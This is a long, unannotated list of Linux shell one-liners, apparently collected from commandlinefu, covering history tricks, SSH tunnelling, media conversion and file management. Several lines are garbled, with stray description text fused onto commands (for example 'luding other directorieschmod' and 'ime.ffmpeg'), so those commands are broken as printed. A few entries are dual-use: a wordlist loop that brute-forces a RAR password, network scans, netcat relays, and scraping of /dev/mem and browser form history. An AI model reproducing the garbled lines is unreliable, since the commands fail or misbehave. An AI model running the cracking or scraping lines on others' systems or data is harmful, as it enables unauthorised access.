–tags: Useful Linux Packages
sudo !!
python -m SimpleHTTPServer
:w !sudo tee %
cd -
^foo^bar
mtr google.com
cp filename{,.bak}
ctrl-x e
$ssh-copy-id user@host > file.txt
<space>command
ffmpeg -f x11grab -s wxga -r 25 -i :0.0 -sameq /tmp/out.mpg
reset
ssh -N -L2001:localhost:80 somemachine
echo "ls -l" | at midnight
dig +short txt <keyword>.wp.dg.cx
mount | column -t
curl -u user:pass -d status="Tweeting from the shell" http://twitter.com/statuses/update.xml
'ALT+.' or '<ESC> .'
dd if=/dev/dsp | ssh -c arcfour -C username@host dd of=/dev/dsp
netstat -tlnp
mount -t tmpfs tmpfs /mnt -o size=1024m
sshfs name@server:/path/to/folder /path/to/mount/point
!!:gs/foo/bar
ssh user@host cat /path/to/remotefile | diff /path/to/localfile -
man ascii
wget --random-wait -r -p -e robots=off -U mozilla http://www.example.com
net rpc shutdown -I ipAddressOfWindowsPC -U username%password
du -h --max-depth=1
curl ifconfig.me
time read (ctrl-d to stop)
ctrl-l
(cd /tmp && ls)
curl -u username --silent "https://mail.google.com/mail/feed/atom" | perl -ne 'print "\t" if /<name>/; print "$2\n" if /<(title|name)>(.*)<\/\1>/;'
ssh -t reachable_host ssh unreachable_host
ps aux | sort -nk +4 | tail
<alt> + <print screen/sys rq> + <R> - <S> - <E> - <I> - <U> - <B>
echo "You can simulate on-screen typing just like in the movies" | pv -qL 10
telnet towel.blinkenlights.nl
history | awk '{a[$2]++}END{for(i in a){print a[i] " " i}}' | sort -rn | head
ping -i 60 -a IP_address
less +F somelogfile
diff <(sort file1) <(sort file2)
<ctrl+u> [...] <ctrl+y>
disown -a && exit
awk '/start_pattern/,/stop_pattern/' file.txt
lsof -i
echo "The date is: $(date +%D)"
nc -v -l 80 < file.ext
tr -c "[:digit:]" " " < /dev/urandom | dd cbs=$COLUMNS conv=unblock | GREP_COLOR="1;32" grep --color "[^ ]"
pushd /tmp
python -m smtpd -n -c DebuggingServer localhost:1025
echo "!!" > foo.sh
mplayer -ao pcm -vo null -vc dummy -dumpaudio -dumpfile <output-file> <input-file>
CDPATH=:..:~:~/projects
getconf LONG_BIT
translate(){ wget -qO- "http://ajax.googleapis.com/ajax/services/language/translate?v=1.0&q=$1&langpair=$2|${3:-en}" | sed 's/.*"translatedText":"\([^"]*\)".*}/\1\n/'; }
sudo dd if=/dev/mem | cat | strings
wget -qO - "http://www.tarball.com/tarball.gz" | tar zxvf -
lsof -P -i -n
fuser -k filename
i="8uyxVmdaJ-w";mplayer -fs $(curl -s "http://www.youtube.com/get_video_info?&video_id=$i" | echo -e $(sed 's/%/\\x/g;s/.*\(v[0-9]\.lscache.*\)/http:\/\/\1/g') | grep -oP '^[^|,]*')
cat /etc/issue
while sleep 1;do tput sc;tput cup 0 $(($(tput cols)-29));date;tput rc;done &
!*
rm !(*.foo|*.bar|*.baz)
ESC *
ifconfig | convert label:@- ip.png
awk '!x[$0]++' <file>
vim -x <FILENAME>
ssh-copy-id username@hostname
alias 'ps?'='ps ax | grep '
!:-
readom dev=/dev/scd0 f=/path/to/image.iso
some_very_long_and_complex_command # label
ps aux | grep [p]rocess-name
^Z $bg $disown
ls -R | grep ":$" | sed -e 's/:$//' -e 's/[^-][^\/]*\//--/g' -e 's/^/ /' -e 's/-/|/'
mv filename.{old,new}
strace -ff -e trace=write -e write=1,2 -p SOME_PID
netstat -an | grep ESTABLISHED | awk '{print $5}' | awk -F: '{print $1}' | sort | uniq -c | awk '{ printf("%s\t%s\t",$2,$1) ; for (i = 0; i < $1; i++) {printf("*")}; print "" }'
\[command]
pv access.log | gzip > access.log.gz
watch -t -n1 "date +%T|figlet"
vim scp://username@host//path/to/somefile
? () { echo "$*" | bc -l; }
mount /path/to/file.iso /mnt/cdrom -oloop
du -s * | sort -n | tail
rm -f !(survivior.txt)
curl -u username:password --silent "https://mail.google.com/mail/feed/atom" | tr -d '\n' | awk -F '<entry>' '{for (i=2; i<=NF; i++) {print $i}}' | sed -n "s/<title>\(.*\)<\/title.*name>\(.*\)<\/name>.*/\2 - \1/p"
notify-send ["<title>"] "<body>"
date -d@1234567890
# here \ is used because it conflicts with org mode
strings /dev/urandom | grep -o '[\[:alnum]]' | head -n 30 | tr -d '\n'; echo
sed -n '10,20p' <filename>
ss -p
ffmpeg -f x11grab -r 25 -s 800x600 -i :0.0 /tmp/outputFile.mpg
dd if=/dev/zero of=/dev/null bs=1M count=32768
open .
mkdir -p a/long/directory/path
echo "rm -rf /unwanted-but-large/folder" | batch
man hier
pv sourcefile > destfile
gs -q -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile=OUTPUT.pdf -c .setpdfwrite -f INPUT.pdf
ssh -t hostA ssh hostB
% screen -r someuser/
ssh -MNf <user>@<host>
watch -n 1 mysqladmin --user=<user> --password=<password> processlist
read day month year <<< $(date +'%d %m %y')
watch -n 1 'echo "obase=2;`date +%s`" | bc'
curl icanhazip.com
for I in $(mysql -e 'show databases' -s --skip-column-names); do mysqldump $I | gzip > "$I.sql.gz"; done
ssh -t remote_host screen -r
man -t manpage | ps2pdf - filename.pdf
ssh-keygen -R <the_offending_host>
cmdfu(){ curl "http://www.commandlinefu.com/commands/matching/$@/$(echo -n $@ | openssl base64)/plaintext"; }
wget http://www.youtube.com/watch?v=dQw4w9WgXcQ -qO- | sed -n "/fmt_url_map/{s/[\'\"\|]/\n/g;p}" | sed -n '/^fmt_url_map/,/videoplayback/p' | sed -e :a -e '$q;N;5,$D;ba' | tr -d '\n' | sed -e 's/\(.*\),\(.\)\{1,3\}/\1/' | wget -i - -O surprise.flv
rtfm() { help $@ || man $@ || $BROWSER "http://www.google.com/search?q=$@"; }
curl ifconfig.me
sudo touch /forcefsck
sed -n 5p <file>
find -not -empty -type f -printf "%s\n" | sort -rn | uniq -d | xargs -I{} -n1 find -type f -size {}c -print0 | xargs -0 md5sum | sort | uniq -w32 --all-repeated=separate
:<C-R><C-W>
knock <host> 3000 4000 5000 && ssh -p <port> user@host && knock <host> 5000 4000 3000
ps awwfux | less -S
rename 'y/ /_/' *
dpkg -S /usr/bin/ls
du -b --max-depth 1 | sort -nr | perl -pe 's{([0-9]+)}{sprintf "%.1f%s", $1>=2**30? ($1/2**30, "G"): $1>=2**20? ($1/2**20, "M"): $1>=2**10? ($1/2**10, "K"): ($1, "")}e'
wget -qO - http://infiltrated.net/blacklisted|awk '!/#|[a-z]/&&/./{print "iptables -A INPUT -s "$1" -j DROP"}'
wget -r -l1 --no-parent -nH -nd -P/tmp -A".gif,.jpg" http://example.com/images
script -qf | tee >(nc -kl 5000) >(nc -kl 5001) >(nc -kl 5002)
ls !(*.gz)
google docs edit --title "To-Do List" --editor vim
for code in {0..255}; do echo -e "\e[38;05;${code}m $code: Test"; done
chmod --reference file1 file2
ccze
tar -tf <file.tar.gz> | xargs rm -r
lsof -i tcp:80
cat ~/.ssh/id_rsa.pub | ssh user@machine "mkdir ~/.ssh; cat >> ~/.ssh/authorized_keys"
echo | openssl s_client -connect www.google.com:443 2>/dev/null |openssl x509 -dates -noout
sed -i 8d ~/.ssh/known_hosts
ls -d */
kill -9 $$
diff <(lsof -p 1234) <(sleep 10; lsof -p 1234)
curl -Is slashdot.org | egrep '^X-(F|B|L)' | cut -d \- -f 2
leave +15
for file in `ls *.pdf`; do convert -verbose -colorspace RGB -resize 800 -interlace none -density 300 -quality 80 $file `echo $file | sed 's/\.pdf$/\.jpg/'`; done
cp /work/host/phone/ui/main.cpp !#$:s/host/target
<COMMAND> |:
echo "tee can split a pipe in two"|tee >(rev) >(tr ' ' '_')
tar --exclude-vcs -cf src.tar src/
grep --color=always | less -R
killall -STOP -m firefox
find . -name "*.[ch]" -exec grep -i -H "search pharse" {} \;
awk '{$1=$3=""}1' file
date --set="$(ssh user@server date)"
[enter]~?
echo ${SSH_CLIENT%% *}
DISPLAY=:0.0 import -window root /tmp/shot.png
ssh host -l user $(<cmd.txt)
nl
read -sn 1 -p "Press any key to continue..."
lsof -P -i -n | cut -f 1 -d " "| uniq | tail -n +2
free && sync && echo 3 > /proc/sys/vm/drop_caches && free
lshw -html > hardware.html
export HISTTIMEFORMAT="%F %T "
lynx -dump http://www.ip-adress.com/ip_tracer/?QRY=$1|grep address|egrep 'city|state|country'|awk '{print $3,$4,$5,$6,$7,$8}'|sed 's\ip address flag \\'|sed 's\My\\'
man -t UNIX_COMMAND | open -f -a preview
ssh -t [email protected] /usr/bin/screen -xRR
mysqldump --add-drop-table --extended-insert --force --log-error=error.log -uUSER -pPASS OLD_DB_NAME | ssh -C user@newhost "mysql -uUSER -pPASS NEW_DB_NAME"
mkdir -p work/{d1,d2}/{src,bin,bak}
cp file.txt{,.bak}
grep ^Dirty /proc/meminfo
mkdir /home/foo/doc/bar && cd $_
file -s /dev/sd*
bind -x '"\C-l":ls -l'
vi +/pattern [file]
apt-get install most && update-alternatives --set pager /usr/bin/most
yes | pv | ssh $host "cat > /dev/null"
some_command > >(/bin/cmd_for_stdout) 2> >(/bin/cmd_for_stderr)
grep . filename > newfilename
cd !$:h
perl -e 'print "P1\n256 256\n", map {$_&($_>>8)?1:0} (0..0xffff)' | display
find ./ -type f -exec chmod 644 {} \;
$ grep -rl oldstring . |xargs sed -i -e 's/oldstring/newstring/'
xset dpms force standby
:mksession! <filename>
mkfifo /tmp/fifo; cat /tmp/fifo | nc -l -p 1234 | tee -a to.log | nc machine port | tee -a from.log > /tmp/fifo
svn log -q|grep "|"|awk "{print \$3}"|sort|uniq -c|sort -nr
tidy -xml -i -m [file]
netstat -ant | awk '{print $NF}' | grep -v '[a-z]' | sort | uniq -c
wget -q -U Mozilla -O output.mp3 "http://translate.google.com/translate_tts?ie=UTF-8&tl=en&q=hello+world
bind '"\C-l":"ls -l\n"'
alias head='head -n $((${LINES:-`tput lines 2>/dev/null||echo -n 12`} - 2))'
:TOhtml
find . -type d -empty -delete
bbcradio() { local s PS3="Select a station: ";select s in 1 1x 2 3 4 5 6 7 "Asian Network an" "Nations & Local lcl";do break;done;s=($s);mplayer -playlist "http://www.bbc.co.uk/radio/listen/live/r"${s[@]: -1}".asx";}
clfavs(){ URL="http://www.commandlinefu.com";wget -O - --save-cookies c --post-data "username=$1&password=$2&submit=Let+me+in" $URL/users/signin;for i in `seq 0 25 $3`;do wget -O - --load-cookies c $URL/commands/favourites/plaintext/$i >>$4;done;rm -f c;}
echo "foo" > /dev/tcp/192.168.1.2/25
for i in $(cat dict.txt);do unrar e -p$i protected.rar; if [ $? = 0 ];then echo "Passwd Found: $i";break;fi;done
lynx -accept_all_cookies -cmd_script=/your/keystroke-file
nc -l -p 2000 -c "nc example.org 3000"
bash -x ./post_to_commandlinefu.sh
echo "GRUB_INIT_TUNE=\"1000 334 1 334 1 0 1 334 1 0 1 261 1 334 1 0 1 392 2 0 4 196 2\"" | sudo tee -a /etc/default/grub > /dev/null && sudo update-grub
( command & )
wall <<< "Broadcast This"
cut -f5 --complement
echo $[RANDOM%X+1]
PROMPT_COMMAND='if [ $RANDOM -le 3200 ]; then printf "\0337\033[%d;%dH\033[4%dm \033[m\0338" $((RANDOM%LINES+1)) $((RANDOM%COLUMNS+1)) $((RANDOM%8)); fi'
tar -cf - . | pv -s $(du -sb . | awk '{print $1}') | gzip > out.tgz
(echo CD_DA; for f in {01..99}; do echo "$f Hz">&2; sox -nt cdda -r44100 -c2 $f.cdda synth 30 sine $f; echo TRACK AUDIO; echo FILE \"$f.cdda\" 0; done) > cdrdao.toc && cdrdao write cdrdao.toc && rm ??.cdda cdrdao.toc
md () { mkdir -p "$@" && cd "$@"; }
grep -RnisI <pattern> *
date -d @1234567890
pwdx pid
diff <(echo "$a") <(echo "$b")
diff <(cd dir1 && find | sort) <(cd dir2 && find | sort)
history -d
true && { echo success;} || { echo failed; }
sudo find / -mmin 60 -type f
some_command | tee >(command1) >(command2) >(command3) ... | command4
find ~ -name '*.sqlite' -exec sqlite3 '{}' 'VACUUM;' \;
find . -type f -newermt "2010-01-01" ! -newermt "2010-06-01"
script -t /tmp/mylog.out 2>/tmp/mylog.time; <do your work>; <CTRL-D>; scriptreplay /tmp/mylog.time /tmp/mylog.out
diff <(lsusb) <(sleep 3s && lsusb)
rm *.txt <TAB> <TAB>
telnet towel.blinkenlights.nl 666
grep -a -B 25 -A 100 'some string in the file' /dev/sda1 > results.txt
lsof -Pan -i tcp -i udp
<ctrl+z> fg; notify_me
alias dush="du -sm *|sort -n|tail"
pdftotext [file] - | grep 'YourPattern'
xkcd(){ wget -qO- http://xkcd.com/|tee >(feh $(grep -Po '(?<=")http://imgs[^/]+/comics/[^"]+\.\w{3}'))|grep -Po '(?<=(\w{3})" title=").*(?=" alt)';}
( ( sleep 2h; your-command your-args ) & )
tar -cj /backup | cstream -t 777k | ssh host 'tar -xj -C /backup'
lsof -c dhcpd
sudo zcat /var/log/auth.log.*.gz | awk '/Failed password/&&!/for invalid user/{a[$9]++}/Failed password for invalid user/{a["*" $11]++}END{for (i in a) printf "%6s\t%s\n", a[i], i|"sort -n"}'
rename 'y/A-Z/a-z/' *
[[test_condition ]] && if_true_do_this || otherwise_do_that
while true; do nc -l 7000 | tar -xvf -; done
bc <<< 'obase=60;299'
au BufWritePost * if getline(1) =~ "^#!" | if getline(1) =~ "/bin/" | silent !chmod +x <afile> | endif | endif
find / -type f -size +500M
diff <(wget -q -O - URL1) <(wget -q -O - URL2)
cat /dev/urandom | hexdump -C | grep "ca fe"
ps hax -o user | sort | uniq -c
ssh [email protected] 'tshark -f "port !22" -w -' | wireshark -k -i -
date +%V
nethogs -p eth0
diff -urp /originaldirectory /modifieddirectory
find . -type f -print0|xargs -0 md5sum|sort|perl -ne 'chomp;$ph=$h;($h,$f)=split(/\s+/,$_,2);print "$f"."\x00" if ($h eq $ph)'|xargs -0 rm -v --
cd ~/.mozilla/firefox/ && sqlite3 `cat profiles.ini | grep Path | awk -F= '{print $2}'`/formhistory.sqlite "select * from moz_formhistory" && cd - > /dev/null
stat -c '%A %a %n' *
rsync --partial --progress --rsh=ssh $file_source $user@$host:$destination_file
echo "obase=2; 27" | bc -l
taskset -c 0 your_command
ctrl-t
nmap -sS -P0 -sV -O <target>
grep . *
column -tns: /etc/passwd
ssh remotehost 'dpkg --get-selections' | dpkg --set-selections && dselect install
echo "dear admin, please ban eribsskog" | wall
~.
echo "export DISPLAY=:0; export XAUTHORITY=~/.Xauthority; notify-send test" | at now+1minute
udevadm monitor
dig +short myip.opendns.com @resolver1.opendns.com
echo {1..199}" bottles of beer on the wall, cold bottle of beer, take one down, pass it around, one less bottle of beer on the wall,, " | espeak -v english -s 140
define(){ local y="$@";curl -sA"Opera" "http://www.google.com/search?q=define:${y// /+}"|grep -Po '(?<=<li>)[^<]+'|nl|perl -MHTML::Entities -pe 'decode_entities($_)' 2>/dev/null;}
<ESC> .
ssh -4 -C -c blowfish-cbc
dd if=/dev/sda | tee >(dd of=/dev/sdb) | dd of=/dev/sdc
curl ip.appspot.com
rename -v 's/.*[s,S](\d{2}).*[e,E](\d{2}).*\.avi/SHOWNAME\ S$1E$2.avi/' poorly.named.file.s01e01.avi
touch /tmp/file ; $EXECUTECOMMAND ; find /path -newer /tmp/file
sudo strings /dev/mem
tmpfile=$(mktemp) && echo -e 'startup_message off\nscreen -t top htop\nsplit\nfocus\nscreen -t nethogs nethogs wlan0\nsplit\nfocus\nscreen -t iotop iotop' > $tmpfile && sudo screen -c $tmpfile
/sbin/kexec -l /boot/$KERNEL --append="$KERNELPARAMTERS" --initrd=/boot/$INITRD; sync; /sbin/kexec -e
wget $URL | htmldoc --webpage -f "$URL".pdf - ; xpdf "$URL".pdf &
mv $1 $2 && ln -s $2/$(basename $1) $(dirname $1)
./my-really-long-job.sh && notify-send "Job finished"
command | figlet
sudo firefox -install-global-extension /path/to/add-on
find * -type d -exec mkdir /where/you/wantem/\{\} \;
tail -10000 access_log | awk '{print $1}' | sort | uniq -c | sort -n | tail
mkfifo foo; script -f foo
shuf -n4 /usr/share/dict/words | tr -d '\n'
find -L / -samefile /path/to/file -exec ls -ld {} +
for h in `find /proc/*/fd -ilname "/tmp/Flash*" 2>/dev/null`; do ln -s "$h" `readlink "$h" | cut -d' ' -f1`; done
mycommand 2> >(while read line; do echo -e "\e[01;31m$line\e[0m"; done)
for i in ~/.adobe ~/.macromedia ; do ( rm $i/ -rf ; ln -s /dev/null $i ) ; done
convert *.jpg output.pdf
ls -Q
nmap -sP 192.168.1.0/24
:g/^$/d
alias busy='my_file=$(find /usr/include -type f | sort -R | head -n 1); my_len=$(wc -l $my_file | awk "{print $1}"); let "r = $RANDOM % $my_len" 2>/dev/null; vim +$r $my_file'
DISPLAY=":0.0" import -window root screenshot.png
timeout 10 sleep 11
for db in $(mysql -e 'show databases' -s --skip-column-names); do mysqldump $db | gzip > "/backups/mysqldump-$(hostname)-$db-$(date +%Y-%m-%d-%H.%M.%S).gz"; done
find ~/.mozilla/firefox/ -type f -name "*.sqlite" -exec sqlite3 {} VACUUM \;
lsof -Pni4 | grep LISTEN
autossh -M50000 -t server.example.com 'screen -raAd mysession'
bind '"\e[24~"':"\"ps -elF;df -h;free -mt;netstat -lnpt;who -a\C-m"""
tail -f FILE | perl -pe 's/KEYWORD/\e[1;31;43m$&\e[0m/g'
clfu-search <search words>
gnuplot -persist <(echo "plot '<(sort -n listOfNumbers.txt)' with lines")
yes '' | cat -n
startx -- `which Xvfb` :1 -screen 0 800x600x24 && DISPLAY=:1 x11vnc
rsync --rsync-path 'sudo rsync' username@source:/folder/ /local/
ls -hog
set -o vi
:g!/\S/d
^A ?
ssh user@host cat /path/to/some/file | xclip
history | awk '{print $2}' | sort | uniq -c | sort -rn | head
alias s='screen -X screen'; s top; s vi; s man ls;
\foo
netstat -lantp | grep ESTABLISHED |awk '{print $5}' | awk -F: '{print $1}' | sort -u
ln -nsf <TARGET> <LINK>
df -P | column -t
while [ /bin/true ]; do OLD=$NEW; NEW=`cat /proc/net/dev | grep eth0 | tr -s ' ' | cut -d' ' -f "3 11"`; echo $NEW $OLD | awk '{printf("\rin: % 9.2g\t\tout: % 9.2g", ($1-$3)/1024, ($2-$4)/1024)}'; sleep 1; done
rsync --progress --partial --rsh="ssh -p 8322" --bwlimit=100 --ipv4 [email protected]:~/file.tgz .
wget http://URL/FILE.tar.gz -O - | tar xfz -
ssh -f -L 5900:localhost:5900 your.ssh.server "x11vnc -safer -localhost -nopw -once -display :0"; vinagre localhost:5900
echo 213.251.145.96 wikileaks.com >>/etc/hosts
lsof -i -P | grep -i "listen"
!!:[position]
lsof -r 2 -p PID -i -a
echo -e "Some Text Line1\nSome Text Line 2" | convert -background none -density 196 -resample 72 -unsharp 0x.5 -font "Courier" text:- -trim +repage -bordercolor white -border 3 text.gif
wget -qO - http://example.com/path/to/blah.tar.gz | tar xzf -
vimdiff scp://[email protected]//etc/snmp/snmpd.conf scp://[email protected]//etc/snmp/snmpd.conf
column -s, -t <tmp.csv
git add -u
(some_command 2>&1 1>&3 | tee /path/to/errorlog ) 3>&1 1>&2 | tee /path/to/stdoutlog
re string'tr : '\n' <<<$PATH
svn diff | view -
find -type f -exec md5sum '{}' ';' | sort | uniq --all-repeated=separate -w 33 | cut -c 35-
echo {0..1}{0..1}{0..1}{0..1}
sl
ssh-keygen; ssh-copy-id user@host; ssh user@host
detox -r -s utf_8 /path/to/old/win/files/dir
git rm $(git ls-files --deleted)
du --max-depth=1 | sort -r -n | awk '{split("k m g",v); s=1; while($1>1024){$1/=1024; s++} print int($1)" "v[s]"\t"$2}'
RETURN~.
wget --recursive --page-requisites --convert-links www.moyagraphix.co.za
nmap -sT -p 80 -oG - 192.168.1.* | grep open
sed '1000000!d;q' < massive-log-file.log
echo 'obase=60;299' | bc
du -h /path | sort -h
cp httpd.conf{,.bk}
find -L . -type l
python -m http.server
sudo -K
@reboot <yourscript.sh>
history | awk '{a[$2]++}END{for(i in a){print a[i] " " i}}' | sort -rn | head > /tmp/cmds | gnuplot -persist <(echo 'plot "/tmp/cmds" using 1:xticlabels(2) with boxes')
grep -Fx -f file1 file2
eslftp -e "mirror -c" http://example.com/foobar/
alias dateh='date --help|sed "/^ *%a/,/^ *%Z/!d;y/_/!/;s/^ *%\([:a-z]\+\) \+/\1_/gI;s/%/#/g;s/^\([a-y]\|[z:]\+\)_/%%\1_%\1_/I"|while read L;do date "+${L}"|sed y/!#/%%/;done|column -ts_'
sudo apt-get -o Acquire::http::Dl-Limit=30 upgrade
flight_status() { if [[ $# -eq 3 ]];then offset=$3; else offset=0; fi; curl "http://mobile.flightview.com/TrackByRoute.aspx?view=detail&al="$1"&fn="$2"&dpdat=$(date +%Y%m%d -d ${offset}day)" 2>/dev/null |html2text |grep ":"; }
for n in E2 A2 D3 G3 B3 E4;do play -n synth 4 pluck $n repeat 2;done
[ -t 0 ] || exit 1
tar cf - <dir>|split -b<max_size>M - <name>.tar.
for c in `seq 0 255`;do t=5;[[ $c -lt 108 ]]&&t=0;for i in `seq $t 5`;do echo -e "\e[0;48;$i;${c}m|| $i:$c `seq -s+0 $(($COLUMNS/2))|tr -d '[0-9]'`\e[0m";done;done
rename 'y/A-Z/a-z/' *
env PS4=' ${BASH_SOURCE}:${LINENO}(${FUNCNAME[0]}) ' sh -x /etc/profile
echo -e "\e[32m"; while :; do for i in {1..16}; do r="$(($RANDOM % 2))"; if [[ $(($RANDOM % 5)) == 1 ]]; then if [[ $(($RANDOM % 4)) == 1 ]]; then v+="\e[1m $r "; else v+="\e[2m $r "; fi; else v+=" "; fi; done; echo -e "$v"; v=""; done
awk 'length>72' file
ncdu
wget --reject html,htm --accept pdf,zip -rl1 url
echo "${PATH//:/$'\n'}"
awk '{print NR": "$0; for(i=1;i<=NF;++i)print "\t"i": "$i}'
some command|xsel --clipboard
PS1="\`if [ \$? = 0 ]; then echo \e[33\;40m\\\^\\\_\\\^\e[0m; else echo \e[36\;40m\\\-\e[0m\\\_\e[36\;40m\\\-\e[0m; fi\` \u \w:\h)"
sudo dd if=/dev/zero of=/swapfile bs=1024 count=1024000;sudo mkswap /swapfile; sudo swapon /swapfile
sudo aptitude purge `dpkg --get-selections | grep deinstall | awk '{print $1}'`
( cat badfile.log ; tac badfile.log | tac ) > goodfile.log
< /path/to/file.txt grep foo
CTRL+u
mysql --database=dbname -B -N -e "SHOW TABLES" | awk '{print "ALTER TABLE", $1, "CONVERT TO CHARACTER SET utf8 COLLATE utf8_general_ci;"}' | mysql --database=dbname &
ime.ffmpeg -vcodec copy -acodec copy -i orginalfile -ss 00:01:30 -t 0:0:20 newfile
sudo cat /proc/kcore | strings | awk 'length > 20' | less
lsof +p xxxx
tcpdump -nn -v -i eth0 -s 1500 -c 1 'ether[20:2] == 0x2000'
cd `pwd -P`
find . -name "*.php" -exec iconv -f ISO-8859-1 -t UTF-8 {} -o ../newdir_utf8/{} \;
file !$
find . -type d -name '.svn' -print0 | xargs -0 rm -rdf
curl -I www.commandlinefu.com
strace -ff -e trace=file my_command 2>&1 | perl -ne 's/^[^"]+"(([^\\"]|\\[\\"nt])*)".*/$1/ && print'
read -s -p"Password: " USER_PASSWORD_VARIABLE; echo
ff() { local IFS='|'; grep -rinE "$*" . ; }
cd <directory>; touch ./-i
ethtool -p eth0
echo "uptime" | pee "ssh host1" "ssh host2" "ssh host3"
find ./ -name Thumbs.db -delete
lsof +L1
xdg-open [path]
!:1-3
sudo lsof -u someuser -a +D /etc
zenity --list --width 500 --height 500 --column 'radio' --column 'url' --print-column 2 $(curl -s http://www.di.fm/ | awk -F '"' '/href="http:.*\.pls.*96k/ {print $2}' | sort | awk -F '/|\.' '{print $(NF-1) " " $0}') | xargs mplayer
:w !curl -F "sprunge=<-" http://sprunge.us | xclip
ssh root@host1 "cd /somedir/tocopy/ && tar -cf - ." | ssh root@host2 "cd /samedir/tocopyto/ && tar -xf -"
watch "netstat -plan|grep :80|awk {'print \$5'} | cut -d: -f 1 | sort | uniq -c | sort -nk 1"
ruler() { for s in '....^....|' '1234567890'; do w=${#s}; str=$( for (( i=1; $i<=$(( ($COLUMNS + $w) / $w )) ; i=$i+1 )); do echo -n $s; done ); str=$(echo $str | cut -c -$COLUMNS) ; echo $str; done; }
perl -le 'print $!+0, "\t", $!++ for 0..127'
purple-remote "setstatus?status=away&message=AFK"
A=1;B=100;X=0;C=0;N=$[$RANDOM%$B+1];until [ $X -eq $N ];do read -p "N between $A and $B. Guess? " X;C=$(($C+1));A=$(($X<$N?$X:$A));B=$(($X>$N?$X:$B));done;echo "Took you $C tries, Einstein";
path_stripped_programname="${0##*/}"
function man2pdf(){ man -t ${1:?Specify man as arg} | ps2pdf -dCompatibility=1.3 - - > ${1}.pdf; }
trash <file>
luding other directorieschmod -R -x+X *
diff <(ssh server01 'cd config; find . -type f -exec md5sum {} \;| sort -k 2') <(ssh server02 'cd config;find . -type f -exec md5sum {} \;| sort -k 2')
mount -t ntfs-3g -o ro,loop,uid=user,gid=group,umask=0007,fmask=0117,offset=0x$(hd -n 1000000 image.vdi | grep "eb 52 90 4e 54 46 53" | cut -c 1-8) image.vdi /mnt/vdi-ntfs
make -j 4
and day based on exif informationexiftool '-Directory<DateTimeOriginal' -d %Y/%m/%d dir
cat /var/log/secure.log | awk '{print substr($0,0,12)}' | uniq -c | sort -nr | awk '{printf("\n%s ",$0) ; for (i = 0; i<$1 ; i++) {printf("*")};}'
yes "$(seq 232 255;seq 254 -1 233)" | while read i; do printf "\x1b[48;5;${i}m\n"; sleep .01; done
find -L /path/to/check -type l -delete
L on the xclipboardls | curl -F 'sprunge=<-' http://sprunge.us | xclip
type -all command
curl -s http://checkip.dyndns.org/ | grep -o "[[:digit:].]\+"
egrep -v "^$|^[[:space:]]*#" /etc/some/file
ifstat -nt
sed 's/\o0/\n/g' /proc/INSERT_PID_HERE/environ
sudo cat /dev/vcs1 | fold -w 80
sudo killall -9 pulseaudio; pulseaudio >/dev/null 2>&1 &
curl -u username -o bookmarks.xml https://api.del.icio.us/v1/posts/all
base64 -d <<< aHR0cDovL3d3dy50d2l0dGVyc2hlZXAuY29tL3Jlc3VsdHMucGhwP3U9Y29tbWFuZGxpbmVmdQo=
convert -colors 256 -resize 16x16 face.jpg face.ppm && ppmtowinicon -output favicon.ico face.ppm
echo 'wget url' | at 01:00
convert -font -misc-fixed-*-*-*-*-*-*-*-*-*-*-*-* -fill black -draw "text 270,260 \" `cal` \"" testpic.jpg newtestpic.jpg
mkdir -p doc/{text/,img/{wallpaper/,photos/}}
sudo dmidecode --type 17 | more
firefox -no-remote -P
sed -i 8d ~/.ssh/known_hosts
ffmpeg -i video.avi -f mp3 audio.mp3
sudo dmidecode | grep Serial\ Number | head -n1
rsync --partial --progress --rsh=ssh SOURCE DESTINATION
MAC=`(date; cat /proc/interrupts) | md5sum | sed -r 's/^(.{10}).*$/\1/; s/([0-9a-f]{2})/\1:/g; s/:$//;'`
echo "export LESS_TERMCAP_mb=$'\E[01;31m'" >> ~/.bashrc
getent services <<service>>
diffxml() { diff -wb <(xmllint --format "$1") <(xmllint --format "$2"); }
manswitch () { man $1 | less -p "^ +$2"; }
compgen -c | sort -u > commands
watch vmstat -sSM
echo $0
cmp file1 file2
curl --user login:password -o DeliciousBookmarks.xml -O 'https://api.del.icio.us/v1/posts/all'
du -hs */ | sort -hr | head
!$
check(){ curl -sI $1 | sed -n 's/Location:.* //p';}
yt () mplayer -fs -quiet $(youtube-dl -g "$1")
echo "uptime" | tee >(ssh host1) >(ssh host2) >(ssh host3)
sed -n '4{p;q}'
sudo arp-scan -I eth0 192.168.1.0/24
for file in *.flac; do flac -cd "$file" | lame -q 0 --vbr-new -V 0 - "${file%.flac}.mp3"; done
printf "%`tput cols`s"|tr ' ' '#'
export PS1="C:\$( pwd | sed 's:/:\\\\\\:g' )\\> "
tar jcpf - [sourceDirs] |ssh user@host "cat > /path/to/backup/backupfile.tar.bz2"
mkisofs -J -allow-lowercase -R -V "OpenCD8806" -iso-level 4 -o OpenCD.iso ~/OpenCD
<ALT> .
wget -q -O - `youtube-dl -b -g $url`| ffmpeg -i - -f mp3 -vn -acodec libmp3lame -| mpg123 -
sitepass() { echo -n "$@" | md5sum | sha1sum | sha224sum | sha256sum | sha384sum | sha512sum | gzip - | strings -n 1 | tr -d "[:space:]" | tr -s '[:print:]' | tr '!-~' 'P-~!-O' | rev | cut -b 2-11; history -d $(($HISTCMD-1)); }
su -- user
arp-scan -l
URL="http://www.google.com";curl -L --w "$URL\nDNS %{time_namelookup}s conn %{time_connect}s time %{time_total}s\nSpeed %{speed_download}bps Size %{size_download}bytes\n" -o/dev/null -s $URL
bash-hotkey: <CTRL+x+e>
find . -empty -type d -exec rmdir {} +
lsof -i
svn diff <file> | vim -R -
grep -lir "some text" *
screen -x
hwinfo --block --short
diff <(ssh alice cat /etc/apt/sources.list) <(ssh bob cat /etc/apt/sources.list)
xvkbd -xsendevent -text "Hello world"
ssh -fX <user>@<host> <program>
sudo dd if=/dev/sda of=/media/disk/backup/sda.backup
sort -nt . -k 1,1 -k 2,2 -k 3,3 -k 4,4
tail -1000 /some/file | vim -
ssh user@host 'mysqldump dbname | gzip' > /path/to/backups/db-backup-`date +%Y-%m-%d`.sql.gz
last | grep -v "^$" | awk '{ print $1 }' | sort -nr | uniq -c
nmap -sP 192.168.1.100-254
shopt -s histverify
convert -resize '1024x600^' image.jpg small-image.jpg
!ssh:p
oowriter -pt pdf your_word_file.doc
find . -type f -printf '%TY-%Tm-%Td %TT %p\n' | sort
sleep 3s && espeak "wake up, you bastard" 2>/dev/null
c() printf "\33[2J"
gdb -batch -ex "run" -ex "bt" ${my_program} 2>&1 | grep -v ^"No stack."$
rename 's/\.jpe?g$/.jpg/i' *
echo $(openssl rand 4 | od -DAn)
